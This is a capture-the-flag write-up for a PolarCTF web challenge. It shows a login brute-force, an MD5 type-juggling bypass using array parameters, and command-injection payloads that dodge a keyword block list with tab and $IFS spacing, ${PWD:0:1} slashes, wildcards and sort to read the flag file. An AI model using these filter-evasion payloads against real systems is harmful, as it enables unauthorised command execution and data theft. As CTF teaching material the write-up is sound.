PolarCTF 2025 Winter Competition Web Polarflag WriteUp

Opening the webpage, you can see it is a login page:

Attempting to scan with dirsearch yields:

1
Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/
2

3
[15:15:01] Starting:
4
[15:15:04] 403 -  319B  - /.ht_wsr.txt
5
[15:15:04] 403 -  319B  - /.htaccess.bak1
6
[15:15:04] 403 -  319B  - /.htaccess.orig
7
[15:15:04] 403 -  319B  - /.htaccess.sample
8
[15:15:04] 403 -  319B  - /.htaccess.save
9
[15:15:04] 403 -  319B  - /.htaccess_orig
10
[15:15:04] 403 -  319B  - /.htaccess_extra
11
[15:15:04] 403 -  319B  - /.htaccess_sc
12
[15:15:04] 403 -  319B  - /.htaccessBAK
13
[15:15:04] 403 -  319B  - /.htaccessOLD
14
[15:15:04] 403 -  319B  - /.htaccessOLD2
15
[15:15:04] 403 -  319B  - /.htm
16
[15:15:04] 403 -  319B  - /.html
17
[15:15:04] 403 -  319B  - /.htpasswd_test
18
[15:15:04] 403 -  319B  - /.htpasswds
19
[15:15:04] 403 -  319B  - /.httr-oauth
20
[15:15:19] 200 -  448B  - /flag.txt
21
[15:15:20] 200 -    3KB - /index.php
22
[15:15:20] 200 -    3KB - /index.php/login/
23
[15:15:28] 403 -  319B  - /server-status/
24
[15:15:28] 403 -  319B  - /server-status
25

26
Task Completed

Discover /flag.txt, access it:

1
<?php
2
$original = "flag{polar_flag_in_here}";
3

4

5
$ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101];
6
$new = "";
7
foreach ($ascii_codes as $code) {
8
    $new .= chr($code);
9
}
10

11

12
function replaceString($original, $new) {
13
    $temp = str_replace("flag{", "the_", $original);
14
    $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp);
15
    return $temp;
16
}
17

18
$result = replaceString($orginal, $ne1w);
19

20

21
echo "flag{polar_flag_in_here}";
22
?>

Attempting to run it reveals a syntax error. Correct it:

1
...
2
    return $temp;
3
}
4

5
$result = replaceString($orginal, $ne1w);
6
$result = replaceString($original, $new);
7

8
echo "flag{polar_flag_in_here}";
9
echo $result;

Running it yields: the_username_is_polar, hinting that the username is polar. Meanwhile, the challenge attachment provides a dictionary wordlist.txt. Attempt brute-forcing with BurpSuite:

Brute-forcing reveals that when the password is 6666, it redirects to /polar.php:

Access /polar.php, obtain:

1
<?php
2
error_reporting(0);
3
session_start();
4
if(isset($_GET['logout'])){
5
    session_destroy();
6
    header('Location: index.php');
7
    exit();
8
}
9
// Initialize session variable
10
if(!isset($_SESSION['collision_passed'])) {
11
    $_SESSION['collision_passed'] = false;
12
}
13
// The one who wants to win has no smile on their face
14
if(isset($_POST['a']) && isset($_POST['b'])) {
15
    if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
16
        echo "MD5 Well done \n";
17
        $_SESSION['collision_passed'] = true;
18
    } else {
19
        echo "MD5 Not good enough\n";
20
        $_SESSION['collision_passed'] = false;
21
    }
22
}
23

24

25
if(isset($_GET["polar"])){
26
    if($_SESSION['collision_passed']) {
27
        if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){
28
           echo "gun gun !";
29
        } else {
30
            echo "polar polar !";
31
            system($_GET["polar"]);
32
        }
33
    } else {
34
        echo "Go back, this part isn't needed\n";
35
    }
36
} else {
37
    show_source(__FILE__);
38
    echo '<br><br><a href="?logout=1" style="color: #4CAF50; text-decoration: none; font-weight: bold;">Go home</a>';
39
}
40
?>

First, bypass the MD5 check by passing a[]=1&b[]=2:

1
POST /polar.php HTTP/1.1
2
Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090
3
Cache-Control: max-age=0
4
Upgrade-Insecure-Requests: 1
5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7
Accept-Encoding: gzip, deflate
8
Accept-Language: zh-CN,zh;q=0.9
9
Connection: close
10
Content-Type: application/x-www-form-urlencoded
11
Content-Length: 11
12

13
a[]=1&b[]=2

The server returns:

1
Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/

And prompts MD5 Well done, successfully bypassing. Since I used BurpSuite to send the request, I plan to use a regular browser next, so I write this cookie into the browser. Then directly access /polar.php?polar= to pass commands, no need to bypass MD5 again.
Observing the regex filtering rules, many characters are blocked, including a series of symbols. First, try exporting environment variables with export, and discover a Flag: flag{7b93dd56-4f33-4738-b916-464a984093b3}, but submitting it shows it’s incorrect. Asking customer service confirms this Flag is wrong.
Since spaces are filtered, use $IFS$1 or %09 (Tab) to bypass. Also, because / is blocked, use ${PWD:0:1} (extract the first character of the PWD environment variable, which is /) instead. Construct the request:

1
http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1}

Obtain:

1
polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var

Discover the Flag file: /polarflag. Since fl is filtered, cannot directly call the filename, so use ????????? to match a 9-character file. Commands like cat, tail, more, less that can print content are disabled, but commands like sort can still be used and also print content:

1
http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}?????????

Obtain the Flag: flag{polarctf1314inwebgame}